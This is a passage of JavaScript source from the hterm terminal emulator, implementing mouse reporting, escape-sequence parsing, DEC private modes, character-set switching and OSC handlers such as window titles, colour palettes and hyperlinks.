*/hterm.VT.prototype.reset = function () { this.G0 = this.G1 = this.G2 = this.G3 = this.characterMaps.getMap('B'); this.GL = 'G0'; this.GR = 'G0'; this.mouseReport = this.MOUSE_REPORT_DISABLED; this.mouseCoordinates = this.MOUSE_COORDINATES_X10; this.lastMouseDragResponse_ = null; };/**
* Handle terminal mouse events.
*
* See the "Mouse Tracking" section of [xterm].
*/hterm.VT.prototype.onTerminalMouse_ = function (e) {// Short circuit a few events to avoid unnecessary processing.
if (this.mouseReport == this.MOUSE_REPORT_DISABLED) return; else if (this.mouseReport != this.MOUSE_REPORT_DRAG && e.type == 'mousemove') return;// Temporary storage for our response.
var response;// Modifier key state.
var mod = 0; if (this.mouseReport != this.MOUSE_REPORT_PRESS) { if (e.shiftKey) mod |= 4; if (e.metaKey || this.terminal.keyboard.altIsMeta && e.altKey) mod |= 8; if (e.ctrlKey) mod |= 16; }// X & Y coordinate reporting.
var x = void 0; var y = void 0; var limit = 255; switch (this.mouseCoordinates) {
case this.MOUSE_COORDINATES_UTF8:// UTF-8 mode is the same as X10 but with higher limits.
limit = 2047; case this.MOUSE_COORDINATES_X10:// X10 reports coordinates by encoding into strings.
x = String.fromCharCode(lib.f.clamp(e.terminalColumn + 32, 32, limit)); y = String.fromCharCode(lib.f.clamp(e.terminalRow + 32, 32, limit)); break; case this.MOUSE_COORDINATES_SGR:// SGR reports coordinates by transmitting the numbers directly.
x = e.terminalColumn; y = e.terminalRow; break;
}switch (e.type) {
case 'wheel':// Mouse wheel is treated as button 1 or 2 plus an additional 64.
b = (e.deltaY * -1 > 0 ? 0 : 1) + 64; b |= mod; if (this.mouseCoordinates == this.MOUSE_COORDINATES_SGR) { response = '\x1B[<' + b + ';' + x + ';' + y + 'M'; } else {// X10 based modes (including UTF8) add 32 for legacy encoding reasons.
response = '\x1b[M' + String.fromCharCode(b + 32) + x + y;
}// Keep the terminal from scrolling.
e.preventDefault(); break; case 'mousedown':// Buttons are encoded as button number.
var b = Math.min(e.button, 2);// X10 based modes (including UTF8) add 32 for legacy encoding reasons.
if (this.mouseCoordinates != this.MOUSE_COORDINATES_SGR) b += 32;// And mix in the modifier keys.
b |= mod; if (this.mouseCoordinates == this.MOUSE_COORDINATES_SGR) response = '\x1B[<' + b + ';' + x + ';' + y + 'M'; else response = '\x1b[M' + String.fromCharCode(b) + x + y; break; case 'mouseup': if (this.mouseReport != this.MOUSE_REPORT_PRESS) {
if (this.mouseCoordinates == this.MOUSE_COORDINATES_SGR) {// SGR mode can report the released button.
response = '\x1B[<' + e.button + ';' + x + ';' + y + 'm';
} else {// X10 mode has no indication of which button was released.
response = '\x1b[M\x23' + x + y;
}
} break; case 'mousemove': if (this.mouseReport == this.MOUSE_REPORT_DRAG && e.buttons) {// Standard button bits.  The XTerm protocol only reports the first
// button press (e.g. if left & right are pressed, right is ignored),
// and it only supports the first three buttons.  If none of them are
// pressed, then XTerm flags it as a release.  We'll do the same.
// X10 based modes (including UTF8) add 32 for legacy encoding reasons.
b = this.mouseCoordinates == this.MOUSE_COORDINATES_SGR ? 0 : 32;// Priority here matches XTerm: left, middle, right.
if (e.buttons & 0x1) {// Report left button.
b += 0;
} else if (e.buttons & 0x4) {// Report middle button.
b += 1;
} else if (e.buttons & 0x2) {// Report right button.
b += 2;
} else {// Release higher buttons.
b += 3;
}// Add 32 to indicate mouse motion.
b += 32;// And mix in the modifier keys.
b |= mod; if (this.mouseCoordinates == this.MOUSE_COORDINATES_SGR) response = '\x1B[<' + b + ';' + x + ';' + y + 'M'; else response = '\x1b[M' + String.fromCharCode(b) + x + y;// If we were going to report the same cell because we moved pixels
// within, suppress the report.  This is what xterm does and cuts
// down on duplicate messages.
if (this.lastMouseDragResponse_ == response) response = ''; else this.lastMouseDragResponse_ = response;
} break; case 'click': case 'dblclick': break; default: console.error('Unknown mouse event: ' + e.type, e); break;
}if (response) this.terminal.io.sendString(response);
};/**
* Interpret a string of characters, displaying the results on the associated
* terminal object.
*
* The buffer will be decoded according to the 'receive-encoding' preference.
*/hterm.VT.prototype.interpret = function (buf) { this.parseState_.resetBuf(this.decode(buf)); while (!this.parseState_.isComplete()) { var func = this.parseState_.func; var pos = this.parseState_.pos; var buf = this.parseState_.buf; this.parseState_.func.call(this, this.parseState_); if (this.parseState_.func == func && this.parseState_.pos == pos && this.parseState_.buf == buf) { throw 'Parser did not alter the state!'; } } };/**
* Decode a string according to the 'receive-encoding' preference.
*/hterm.VT.prototype.decode = function (str) { if (this.characterEncoding == 'utf-8') return this.decodeUTF8(str); return str; };/**
* Encode a UTF-16 string as UTF-8.
*
* See also: https://en.wikipedia.org/wiki/UTF-16
*/hterm.VT.prototype.encodeUTF8 = function (str) { return lib.encodeUTF8(str); };/**
* Decode a UTF-8 string into UTF-16.
*/hterm.VT.prototype.decodeUTF8 = function (str) { return this.utf8Decoder_.decode(str); };/**
* Set the encoding of the terminal.
*
* @param {string} encoding The name of the encoding to set.
*/hterm.VT.prototype.setEncoding = function (encoding) {
switch (encoding) {
default: console.warn('Invalid value for "terminal-encoding": ' + encoding);// Fall through.
case 'iso-2022': this.codingSystemUtf8_ = false; this.codingSystemLocked_ = false; break; case 'utf-8-locked': this.codingSystemUtf8_ = true; this.codingSystemLocked_ = true; break; case 'utf-8': this.codingSystemUtf8_ = true; this.codingSystemLocked_ = false; break;
}this.updateEncodingState_();
};/**
* Refresh internal state when the encoding changes.
*/hterm.VT.prototype.updateEncodingState_ = function () {
var _this11 = this;// If we're in UTF8 mode, don't suport 8-bit escape sequences as we'll never
// see those -- everything should be UTF8!
var cc1 = Object.keys(hterm.VT.CC1).filter(function (e) { return !_this11.codingSystemUtf8_ || e.charCodeAt() < 0x80; }).map(function (e) { return '\\x' + lib.f.zpad(e.charCodeAt().toString(16), 2); }).join(''); this.cc1Pattern_ = new RegExp('[' + cc1 + ']');
};/**
* The default parse function.
*
* This will scan the string for the first 1-byte control character (C0/C1
* characters from [CTRL]).  Any plain text coming before the code will be
* printed to the terminal, then the control character will be dispatched.
*/hterm.VT.prototype.parseUnknown_ = function (parseState) {
var self = this; function print(str) { if (!self.codingSystemUtf8_ && self[self.GL].GL) str = self[self.GL].GL(str); self.terminal.print(str); }// Search for the next contiguous block of plain text.
var buf = parseState.peekRemainingBuf(); var nextControl = buf.search(this.cc1Pattern_); if (nextControl == 0) {// We've stumbled right into a control character.
this.dispatch('CC1', buf.substr(0, 1), parseState); parseState.advance(1); return;
} if (nextControl == -1) {// There are no control characters in this string.
print(buf); parseState.reset(); return;
} print(buf.substr(0, nextControl)); this.dispatch('CC1', buf.substr(nextControl, 1), parseState); parseState.advance(nextControl + 1);
};/**
* Parse a Control Sequence Introducer code and dispatch it.
*
* See [CSI] for some useful information about these codes.
*/hterm.VT.prototype.parseCSI_ = function (parseState) {
var ch = parseState.peekChar(); var args = parseState.args; var finishParsing = function finishParsing() {// Resetting the arguments isn't strictly necessary, but it makes debugging
// less confusing (otherwise args will stick around until the next sequence
// that needs arguments).
parseState.resetArguments();// We need to clear subargs since we explicitly set it.
parseState.subargs = null; parseState.resetParseFunction();
}; if (ch >= '@' && ch <= '~') {// This is the final character.
this.dispatch('CSI', this.leadingModifier_ + this.trailingModifier_ + ch, parseState); finishParsing();
} else if (ch == ';') {// Parameter delimiter.
if (this.trailingModifier_) {// Parameter delimiter after the trailing modifier.  That's a paddlin'.
finishParsing();
} else {
if (!args.length) {// They omitted the first param, we need to supply it.
args.push('');
} args.push('');
}
} else if (ch >= '0' && ch <= '9' || ch == ':') {// Next byte in the current parameter.
if (this.trailingModifier_) {// Numeric parameter after the trailing modifier.  That's a paddlin'.
finishParsing();
} else {
if (!args.length) { args[0] = ch; } else { args[args.length - 1] += ch; }// Possible sub-parameters.
if (ch == ':') parseState.argSetSubargs(args.length - 1);
}
} else if (ch >= ' ' && ch <= '?') {// Modifier character.
if (!args.length) { this.leadingModifier_ += ch; } else { this.trailingModifier_ += ch; }
} else if (this.cc1Pattern_.test(ch)) {// Control character.
this.dispatch('CC1', ch, parseState);
} else {// Unexpected character in sequence, bail out.
finishParsing();
} parseState.advance(1);
};/**
* Skip over the string until the next String Terminator (ST, 'ESC \') or
* Bell (BEL, '\x07').
*
* The string is accumulated in parseState.args[0].  Make sure to reset the
* arguments (with parseState.resetArguments) before starting the parse.
*
* You can detect that parsing in complete by checking that the parse
* function has changed back to the default parse function.
*
* @return {boolean} If true, parsing is ongoing or complete.  If false, we've
*     exceeded the max string sequence.
*/hterm.VT.prototype.parseUntilStringTerminator_ = function (parseState) {
var buf = parseState.peekRemainingBuf(); var args = parseState.args;// Since we might modify parse state buffer locally, if we want to advance
// the parse state buffer later on, we need to know how many chars we added.
var bufInserted = 0; if (!args.length) { args[0] = ''; args[1] = new Date(); } else {// If our saved buffer ends with an escape, it's because we were hoping
// it's an ST split across two buffers.  Move it from our saved buffer
// to the start of our current buffer for processing anew.
if (args[0].slice(-1) == '\x1b') { args[0] = args[0].slice(0, -1); buf = '\x1b' + buf; bufInserted = 1; }
} var nextTerminator = buf.search(/[\x1b\x07]/); var terminator = buf[nextTerminator]; var foundTerminator = void 0;// If the next escape we see is not a start of a ST, fall through.  This will
// either be invalid (embedded escape), or we'll queue it up (wait for \\).
if (terminator == '\x1b' && buf[nextTerminator + 1] != '\\') foundTerminator = false; else foundTerminator = nextTerminator != -1; if (!foundTerminator) {// No terminator here, have to wait for the next string.
args[0] += buf; var abortReason;// Special case: If our buffering happens to split the ST (\e\\), we have to
// buffer the content temporarily.  So don't reject a trailing escape here,
// instead we let it timeout or be rejected in the next pass.
if (terminator == '\x1b' && nextTerminator != buf.length - 1) abortReason = 'embedded escape: ' + nextTerminator; if (new Date() - args[1] > this.oscTimeLimit_) abortReason = 'timeout expired: ' + (new Date() - args[1]); if (abortReason) { if (this.warnUnimplemented) console.log('parseUntilStringTerminator_: aborting: ' + abortReason, args[0]); parseState.reset(args[0]); return false; } parseState.advance(buf.length - bufInserted); return true;
} args[0] += buf.substr(0, nextTerminator); parseState.resetParseFunction(); parseState.advance(nextTerminator + (terminator == '\x1b' ? 2 : 1) - bufInserted); return true;
};/**
* Dispatch to the function that handles a given CC1, ESC, or CSI or VT52 code.
*/hterm.VT.prototype.dispatch = function (type, code, parseState) {
var handler = hterm.VT[type][code]; if (!handler) { if (this.warnUnimplemented) console.warn('Unknown ' + type + ' code: ' + JSON.stringify(code)); return; } if (handler == hterm.VT.ignore) { if (this.warnUnimplemented) console.warn('Ignored ' + type + ' code: ' + JSON.stringify(code)); return; } if (parseState.subargs && !handler.supportsSubargs) { if (this.warnUnimplemented) console.warn('Ignored ' + type + ' code w/subargs: ' + JSON.stringify(code)); return; } if (type == 'CC1' && code > '\x7f' && !this.enable8BitControl) {// It's kind of a hack to put this here, but...
//
// If we're dispatching a 'CC1' code, and it's got the eighth bit set,
// but we're not supposed to handle 8-bit codes?  Just ignore it.
//
// This prevents an errant (DCS, '\x90'), (OSC, '\x9d'), (PM, '\x9e') or
// (APC, '\x9f') from locking up the terminal waiting for its expected
// (ST, '\x9c') or (BEL, '\x07').
console.warn('Ignoring 8-bit control code: 0x' + code.charCodeAt(0).toString(16)); return;
} handler.apply(this, [parseState, code]);
};/**
* Set one of the ANSI defined terminal mode bits.
*
* Invoked in response to SM/RM.
*
* Unexpected and unimplemented values are silently ignored.
*/hterm.VT.prototype.setANSIMode = function (code, state) {
if (code == 4) {// Insert Mode (IRM)
this.terminal.setInsertMode(state);
} else if (code == 20) {// Automatic Newline (LNM)
this.terminal.setAutoCarriageReturn(state);
} else if (this.warnUnimplemented) { console.warn('Unimplemented ANSI Mode: ' + code); }
};/**
* Set or reset one of the DEC Private modes.
*
* Invoked in response to DECSET/DECRST.
*/hterm.VT.prototype.setDECMode = function (code, state) {
switch (parseInt(code, 10)) {
case 1:// DECCKM
this.terminal.keyboard.applicationCursor = state; break; case 3:// DECCOLM
if (this.allowColumnWidthChanges_) { this.terminal.setWidth(state ? 132 : 80); this.terminal.clearHome(); this.terminal.setVTScrollRegion(null, null); } break; case 5:// DECSCNM
this.terminal.setReverseVideo(state); break; case 6:// DECOM
this.terminal.setOriginMode(state); break; case 7:// DECAWM
this.terminal.setWraparound(state); break; case 9:// Report on mouse down events only (X10).
this.mouseReport = state ? this.MOUSE_REPORT_PRESS : this.MOUSE_REPORT_DISABLED; this.terminal.syncMouseStyle(); break; case 12:// Start blinking cursor
if (this.enableDec12) this.terminal.setCursorBlink(state); break; case 25:// DECTCEM
this.terminal.setCursorVisible(state); break; case 30:// Show scrollbar
this.terminal.setScrollbarVisible(state); break; case 40:// Allow 80 - 132 (DECCOLM) Mode
this.terminal.allowColumnWidthChanges_ = state; break; case 45:// Reverse-wraparound Mode
this.terminal.setReverseWraparound(state); break; case 67:// Backarrow key sends backspace (DECBKM)
this.terminal.keyboard.backspaceSendsBackspace = state; break; case 1000:// Report on mouse clicks only (X11).
this.mouseReport = state ? this.MOUSE_REPORT_CLICK : this.MOUSE_REPORT_DISABLED; this.terminal.syncMouseStyle(); break; case 1002:// Report on mouse clicks and drags
this.mouseReport = state ? this.MOUSE_REPORT_DRAG : this.MOUSE_REPORT_DISABLED; this.terminal.syncMouseStyle(); break; case 1004:// Report on window focus change.
this.terminal.reportFocus = state; break; case 1005:// Extended coordinates in UTF-8 mode.
this.mouseCoordinates = state ? this.MOUSE_COORDINATES_UTF8 : this.MOUSE_COORDINATES_X10; break; case 1006:// Extended coordinates in SGR mode.
this.mouseCoordinates = state ? this.MOUSE_COORDINATES_SGR : this.MOUSE_COORDINATES_X10; break; case 1007:// Enable Alternate Scroll Mode.
this.terminal.scrollWheelArrowKeys_ = state; break; case 1010:// Scroll to bottom on tty output
this.terminal.scrollOnOutput = state; break; case 1011:// Scroll to bottom on key press
this.terminal.scrollOnKeystroke = state; break; case 1036:// Send ESC when Meta modifies a key
this.terminal.keyboard.metaSendsEscape = state; break; case 1039:// Send ESC when Alt modifies a key
if (state) { if (!this.terminal.keyboard.previousAltSendsWhat_) { this.terminal.keyboard.previousAltSendsWhat_ = this.terminal.keyboard.altSendsWhat; this.terminal.keyboard.altSendsWhat = 'escape'; } } else if (this.terminal.keyboard.previousAltSendsWhat_) { this.terminal.keyboard.altSendsWhat = this.terminal.keyboard.previousAltSendsWhat_; this.terminal.keyboard.previousAltSendsWhat_ = null; } break; case 47:// Use Alternate Screen Buffer
case 1047: this.terminal.setAlternateMode(state); break; case 1048:// Save cursor as in DECSC.
if (state) this.terminal.saveCursorAndState(); else this.terminal.restoreCursorAndState(); break; case 1049:// 1047 + 1048 + clear.
if (state) { this.terminal.saveCursorAndState(); this.terminal.setAlternateMode(state); this.terminal.clear(); } else { this.terminal.setAlternateMode(state); this.terminal.restoreCursorAndState(); } break; case 2004:// Bracketed paste mode.
this.terminal.setBracketedPaste(state); break; default: if (this.warnUnimplemented) console.warn('Unimplemented DEC Private Mode: ' + code); break;
}
};/**
* Function shared by control characters and escape sequences that are
* ignored.
*/hterm.VT.ignore = function () { };/**
* Collection of control characters expressed in a single byte.
*
* This includes the characters from the C0 and C1 sets (see [CTRL]) that we
* care about.  Two byte versions of the C1 codes are defined in the
* hterm.VT.ESC collection.
*
* The 'CC1' mnemonic here refers to the fact that these are one-byte Control
* Codes.  It's only used in this source file and not defined in any of the
* referenced documents.
*/hterm.VT.CC1 = {};/**
* Collection of two-byte and three-byte sequences starting with ESC.
*/hterm.VT.ESC = {};/**
* Collection of CSI (Control Sequence Introducer) sequences.
*
* These sequences begin with 'ESC [', and may take zero or more arguments.
*/hterm.VT.CSI = {};/**
* Collection of OSC (Operating System Control) sequences.
*
* These sequences begin with 'ESC ]', followed by a function number and a
* string terminated by either ST or BEL.
*/hterm.VT.OSC = {};/**
* Collection of VT52 sequences.
*
* When in VT52 mode, other sequences are disabled.
*/hterm.VT.VT52 = {};/**
* Null (NUL).
*
* Silently ignored.
*/hterm.VT.CC1['\x00'] = hterm.VT.ignore;/**
* Enquiry (ENQ).
*
* Transmit answerback message.
*
* The default answerback message in xterm is an empty string, so we just
* ignore this.
*/hterm.VT.CC1['\x05'] = hterm.VT.ignore;/**
* Ring Bell (BEL).
*/hterm.VT.CC1['\x07'] = function () { this.terminal.ringBell(); };/**
* Backspace (BS).
*
* Move the cursor to the left one character position, unless it is at the
* left margin, in which case no action occurs.
*/hterm.VT.CC1['\x08'] = function () { this.terminal.cursorLeft(1); };/**
* Horizontal Tab (HT).
*
* Move the cursor to the next tab stop, or to the right margin if no further
* tab stops are present on the line.
*/hterm.VT.CC1['\x09'] = function () { this.terminal.forwardTabStop(); };/**
* Line Feed (LF).
*
* This code causes a line feed or a new line operation.  See Automatic
* Newline (LNM).
*/hterm.VT.CC1['\x0a'] = function () { this.terminal.formFeed(); };/**
* Vertical Tab (VT).
*
* Interpreted as LF.
*/hterm.VT.CC1['\x0b'] = hterm.VT.CC1['\x0a'];/**
* Form Feed (FF).
*
* Interpreted as LF.
*/hterm.VT.CC1['\x0c'] = hterm.VT.CC1['\x0a'];/**
* Carriage Return (CR).
*
* Move cursor to the left margin on the current line.
*/hterm.VT.CC1['\x0d'] = function () { this.terminal.setCursorColumn(0); };/**
* Shift Out (SO), aka Lock Shift 0 (LS1).
*
* Invoke G1 character set in GL.
*/hterm.VT.CC1['\x0e'] = function () { this.GL = 'G1'; };/**
* Shift In (SI), aka Lock Shift 0 (LS0).
*
* Invoke G0 character set in GL.
*/hterm.VT.CC1['\x0f'] = function () { this.GL = 'G0'; };/**
* Transmit On (XON).
*
* Not currently implemented.
*
* TODO(rginda): Implement?
*/hterm.VT.CC1['\x11'] = hterm.VT.ignore;/**
* Transmit Off (XOFF).
*
* Not currently implemented.
*
* TODO(rginda): Implement?
*/hterm.VT.CC1['\x13'] = hterm.VT.ignore;/**
* Cancel (CAN).
*
* If sent during a control sequence, the sequence is immediately terminated
* and not executed.
*
* It also causes the error character to be displayed.
*/hterm.VT.CC1['\x18'] = function (parseState) {// If we've shifted in the G1 character set, shift it back out to
// the default character set.
if (this.GL == 'G1') { this.GL = 'G0'; } parseState.resetParseFunction(); this.terminal.print('?');
};/**
* Substitute (SUB).
*
* Interpreted as CAN.
*/hterm.VT.CC1['\x1a'] = hterm.VT.CC1['\x18'];/**
* Escape (ESC).
*/hterm.VT.CC1['\x1b'] = function (parseState) { function parseESC(parseState) { var ch = parseState.consumeChar(); if (ch == '\x1b') return; this.dispatch('ESC', ch, parseState); if (parseState.func == parseESC) parseState.resetParseFunction(); } parseState.func = parseESC; };/**
* Delete (DEL).
*/hterm.VT.CC1['\x7f'] = hterm.VT.ignore;// 8 bit control characters and their two byte equivalents, below...
/**
* Index (IND).
*
* Like newline, only keep the X position
*/hterm.VT.CC1['\x84'] = hterm.VT.ESC['D'] = function () { this.terminal.lineFeed(); };/**
* Next Line (NEL).
*
* Like newline, but doesn't add lines.
*/hterm.VT.CC1['\x85'] = hterm.VT.ESC['E'] = function () { this.terminal.setCursorColumn(0); this.terminal.cursorDown(1); };/**
* Horizontal Tabulation Set (HTS).
*/hterm.VT.CC1['\x88'] = hterm.VT.ESC['H'] = function () { this.terminal.setTabStop(this.terminal.getCursorColumn()); };/**
* Reverse Index (RI).
*
* Move up one line.
*/hterm.VT.CC1['\x8d'] = hterm.VT.ESC['M'] = function () { this.terminal.reverseLineFeed(); };/**
* Single Shift 2 (SS2).
*
* Select of G2 Character Set for the next character only.
*
* Not currently implemented.
*/hterm.VT.CC1['\x8e'] = hterm.VT.ESC['N'] = hterm.VT.ignore;/**
* Single Shift 3 (SS3).
*
* Select of G3 Character Set for the next character only.
*
* Not currently implemented.
*/hterm.VT.CC1['\x8f'] = hterm.VT.ESC['O'] = hterm.VT.ignore;/**
* Device Control String (DCS).
*
* Indicate a DCS sequence.  See Device-Control functions in [XTERM].
* Not currently implemented.
*
* TODO(rginda): Consider implementing DECRQSS, the rest don't seem applicable.
*/hterm.VT.CC1['\x90'] = hterm.VT.ESC['P'] = function (parseState) { parseState.resetArguments(); parseState.func = this.parseUntilStringTerminator_; };/**
* Start of Guarded Area (SPA).
*
* Will not implement.
*/hterm.VT.CC1['\x96'] = hterm.VT.ESC['V'] = hterm.VT.ignore;/**
* End of Guarded Area (EPA).
*
* Will not implement.
*/hterm.VT.CC1['\x97'] = hterm.VT.ESC['W'] = hterm.VT.ignore;/**
* Start of String (SOS).
*
* Will not implement.
*/hterm.VT.CC1['\x98'] = hterm.VT.ESC['X'] = hterm.VT.ignore;/**
* Single Character Introducer (SCI, also DECID).
*
* Return Terminal ID.  Obsolete form of 'ESC [ c' (DA).
*/hterm.VT.CC1['\x9a'] = hterm.VT.ESC['Z'] = function () { this.terminal.io.sendString('\x1b[?1;2c'); };/**
* Control Sequence Introducer (CSI).
*
* The lead into most escape sequences.  See [CSI].
*/hterm.VT.CC1['\x9b'] = hterm.VT.ESC['['] = function (parseState) { parseState.resetArguments(); this.leadingModifier_ = ''; this.trailingModifier_ = ''; parseState.func = this.parseCSI_; };/**
* String Terminator (ST).
*
* Used to terminate DCS/OSC/PM/APC commands which may take string arguments.
*
* We don't directly handle it here, as it's only used to terminate other
* sequences.  See the 'parseUntilStringTerminator_' method.
*/hterm.VT.CC1['\x9c'] = hterm.VT.ESC['\\'] = hterm.VT.ignore;/**
* Operating System Command (OSC).
*
* Commands relating to the operating system.
*/hterm.VT.CC1['\x9d'] = hterm.VT.ESC[']'] = function (parseState) {
parseState.resetArguments(); function parseOSC(parseState) {
if (!this.parseUntilStringTerminator_(parseState)) {// The string sequence was too long.
return;
} if (parseState.func == parseOSC) {// We're not done parsing the string yet.
return;
}// We're done.
var ary = parseState.args[0].match(/^(\d+);(.*)$/); if (ary) { parseState.args[0] = ary[2]; this.dispatch('OSC', ary[1], parseState); } else { console.warn('Invalid OSC: ' + JSON.stringify(parseState.args[0])); }// Resetting the arguments isn't strictly necessary, but it makes debugging
// less confusing (otherwise args will stick around until the next sequence
// that needs arguments).
parseState.resetArguments();
} parseState.func = parseOSC;
};/**
* Privacy Message (PM).
*
* Will not implement.
*/hterm.VT.CC1['\x9e'] = hterm.VT.ESC['^'] = function (parseState) { parseState.resetArguments(); parseState.func = this.parseUntilStringTerminator_; };/**
* Application Program Control (APC).
*
* Will not implement.
*/hterm.VT.CC1['\x9f'] = hterm.VT.ESC['_'] = function (parseState) { parseState.resetArguments(); parseState.func = this.parseUntilStringTerminator_; };/**
* ESC \x20 - Unclear to me where these originated, possibly in xterm.
*
* Not currently implemented:
*   ESC \x20 F - Select 7 bit escape codes in responses (S7C1T).
*   ESC \x20 G - Select 8 bit escape codes in responses (S8C1T).
*                NB: We currently assume S7C1T always.
*
* Will not implement:
*   ESC \x20 L - Set ANSI conformance level 1.
*   ESC \x20 M - Set ANSI conformance level 2.
*   ESC \x20 N - Set ANSI conformance level 3.
*/hterm.VT.ESC['\x20'] = function (parseState) { parseState.func = function (parseState) { var ch = parseState.consumeChar(); if (this.warnUnimplemented) console.warn('Unimplemented sequence: ESC 0x20 ' + ch); parseState.resetParseFunction(); }; };/**
* DEC 'ESC #' sequences.
*/hterm.VT.ESC['#'] = function (parseState) {
parseState.func = function (parseState) {
var ch = parseState.consumeChar(); if (ch == '8') {// DEC Screen Alignment Test (DECALN).
this.terminal.setCursorPosition(0, 0); this.terminal.fill('E');
} parseState.resetParseFunction();
};
};/**
* Designate Other Coding System (DOCS).
*/hterm.VT.ESC['%'] = function (parseState) {
parseState.func = function (parseState) {
var ch = parseState.consumeChar();// If we've locked the encoding, then just eat the bytes and return.
if (this.codingSystemLocked_) { if (ch == '/') parseState.consumeChar(); parseState.resetParseFunction(); return; }// Process the encoding requests.
switch (ch) {
case '@':// Switch to ECMA 35.
this.setEncoding('iso-2022'); break; case 'G':// Switch to UTF-8.
this.setEncoding('utf-8'); break; case '/':// One way transition to something else.
ch = parseState.consumeChar(); switch (ch) {
case 'G':// UTF-8 Level 1.
case 'H':// UTF-8 Level 2.
case 'I':// UTF-8 Level 3.
// We treat all UTF-8 levels the same.
this.setEncoding('utf-8-locked'); break; default: if (this.warnUnimplemented) console.warn('Unknown ESC % / argument: ' + JSON.stringify(ch)); break;
}break; default: if (this.warnUnimplemented) console.warn('Unknown ESC % argument: ' + JSON.stringify(ch)); break;
}parseState.resetParseFunction();
};
};/**
* Character Set Selection (SCS).
*
*   ESC ( Ps - Set G0 character set (VT100).
*   ESC ) Ps - Set G1 character set (VT220).
*   ESC * Ps - Set G2 character set (VT220).
*   ESC + Ps - Set G3 character set (VT220).
*   ESC - Ps - Set G1 character set (VT300).
*   ESC . Ps - Set G2 character set (VT300).
*   ESC / Ps - Set G3 character set (VT300).
*
* All other sequences are echoed to the terminal.
*/hterm.VT.ESC['('] = hterm.VT.ESC[')'] = hterm.VT.ESC['*'] = hterm.VT.ESC['+'] = hterm.VT.ESC['-'] = hterm.VT.ESC['.'] = hterm.VT.ESC['/'] = function (parseState, code) { parseState.func = function (parseState) { var ch = parseState.consumeChar(); if (ch == '\x1b') { parseState.resetParseFunction(); parseState.func(); return; } var map = this.characterMaps.getMap(ch); if (map !== undefined) { if (code == '(') { this.G0 = map; } else if (code == ')' || code == '-') { this.G1 = map; } else if (code == '*' || code == '.') { this.G2 = map; } else if (code == '+' || code == '/') { this.G3 = map; } } else if (this.warnUnimplemented) { console.log('Invalid character set for "' + code + '": ' + ch); } parseState.resetParseFunction(); }; };/**
* Back Index (DECBI).
*
* VT420 and up.  Not currently implemented.
*/hterm.VT.ESC['6'] = hterm.VT.ignore;/**
* Save Cursor (DECSC).
*/hterm.VT.ESC['7'] = function () { this.terminal.saveCursorAndState(); };/**
* Restore Cursor (DECRC).
*/hterm.VT.ESC['8'] = function () { this.terminal.restoreCursorAndState(); };/**
* Forward Index (DECFI).
*
* VT210 and up.  Not currently implemented.
*/hterm.VT.ESC['9'] = hterm.VT.ignore;/**
* Application keypad (DECKPAM).
*/hterm.VT.ESC['='] = function () { this.terminal.keyboard.applicationKeypad = true; };/**
* Normal keypad (DECKPNM).
*/hterm.VT.ESC['>'] = function () { this.terminal.keyboard.applicationKeypad = false; };/**
* Cursor to lower left corner of screen.
*
* Will not implement.
*
* This is only recognized by xterm when the hpLowerleftBugCompat resource is
* set.
*/hterm.VT.ESC['F'] = hterm.VT.ignore;/**
* Full Reset (RIS).
*/hterm.VT.ESC['c'] = function () { this.terminal.reset(); };/**
* Memory lock/unlock.
*
* Will not implement.
*/hterm.VT.ESC['l'] = hterm.VT.ESC['m'] = hterm.VT.ignore;/**
* Lock Shift 2 (LS2)
*
* Invoke the G2 Character Set as GL.
*/hterm.VT.ESC['n'] = function () { this.GL = 'G2'; };/**
* Lock Shift 3 (LS3)
*
* Invoke the G3 Character Set as GL.
*/hterm.VT.ESC['o'] = function () { this.GL = 'G3'; };/**
* Lock Shift 2, Right (LS3R)
*
* Invoke the G3 Character Set as GR.
*/hterm.VT.ESC['|'] = function () { this.GR = 'G3'; };/**
* Lock Shift 2, Right (LS2R)
*
* Invoke the G2 Character Set as GR.
*/hterm.VT.ESC['}'] = function () { this.GR = 'G2'; };/**
* Lock Shift 1, Right (LS1R)
*
* Invoke the G1 Character Set as GR.
*/hterm.VT.ESC['~'] = function () { this.GR = 'G1'; };/**
* Change icon name and window title.
*
* We only change the window title.
*/hterm.VT.OSC['0'] = function (parseState) { this.terminal.setWindowTitle(parseState.args[0]); };/**
* Change window title.
*/hterm.VT.OSC['2'] = hterm.VT.OSC['0'];/**
* Set/read color palette.
*/hterm.VT.OSC['4'] = function (parseState) {// Args come in as a single 'index1;rgb1 ... ;indexN;rgbN' string.
// We split on the semicolon and iterate through the pairs.
var args = parseState.args[0].split(';'); var pairCount = parseInt(args.length / 2); var colorPalette = this.terminal.getTextAttributes().colorPalette; var responseArray = []; for (var pairNumber = 0; pairNumber < pairCount; ++pairNumber) {
var colorIndex = parseInt(args[pairNumber * 2]); var colorValue = args[pairNumber * 2 + 1]; if (colorIndex >= colorPalette.length) continue; if (colorValue == '?') {// '?' means we should report back the current color value.
colorValue = lib.colors.rgbToX11(colorPalette[colorIndex]); if (colorValue) responseArray.push(colorIndex + ';' + colorValue); continue;
} colorValue = lib.colors.x11ToCSS(colorValue); if (colorValue) colorPalette[colorIndex] = colorValue;
} if (responseArray.length) this.terminal.io.sendString('\x1b]4;' + responseArray.join(';') + '\x07');
};/**
* Hyperlinks.
*
* The first argument is optional and colon separated:
*   id=<id>
* The second argument is the link itself.
*
* Calling with a non-blank URI starts it.  A blank URI stops it.
*
* https://gist.github.com/egmontkob/eb114294efbcd5adb1944c9f3cb5feda
*/hterm.VT.OSC['8'] = function (parseState) {
var args = parseState.args[0].split(';'); var id = null; var uri = null; if (args.length != 2 || args[1].length == 0) {// Reset link.
} else {// Pull out any colon separated parameters in the first argument.
var params = args[0].split(':'); id = ''; params.forEach(function (param) {
var idx = param.indexOf('='); if (idx == -1) return; var key = param.slice(0, idx); var value = param.slice(idx + 1); switch (key) {
case 'id': id = value; break; default:// Ignore unknown keys.
break;
}
});// The URI is in the second argument.
uri = args[1];
} var attrs = this.terminal.getTextAttributes(); attrs.uri = uri; attrs.uriId = id;
};/**
* iTerm2 growl notifications.
*/hterm.VT.OSC['9'] = function (parseState) {// This just dumps the entire string as the message.
hterm.notify({ 'body': parseState.args[0] });
};/**
* Change VT100 text foreground color.
*/hterm.VT.OSC['10'] = function (parseState) {// Args come in as a single string, but extra args will chain to the following
// OSC sequences.
var args = parseState.args[0].split(';'); if (!args) return; var colorArg; var colorX11 = lib.colors.x11ToCSS(args.shift()); if (colorX11) this.terminal.setForegroundColor(colorX11); if (args.length > 0) { parseState.args[0] = args.join(';'); hterm.VT.OSC['11'].apply(this, [parseState]); }
};/**
* Change VT100 text background color.
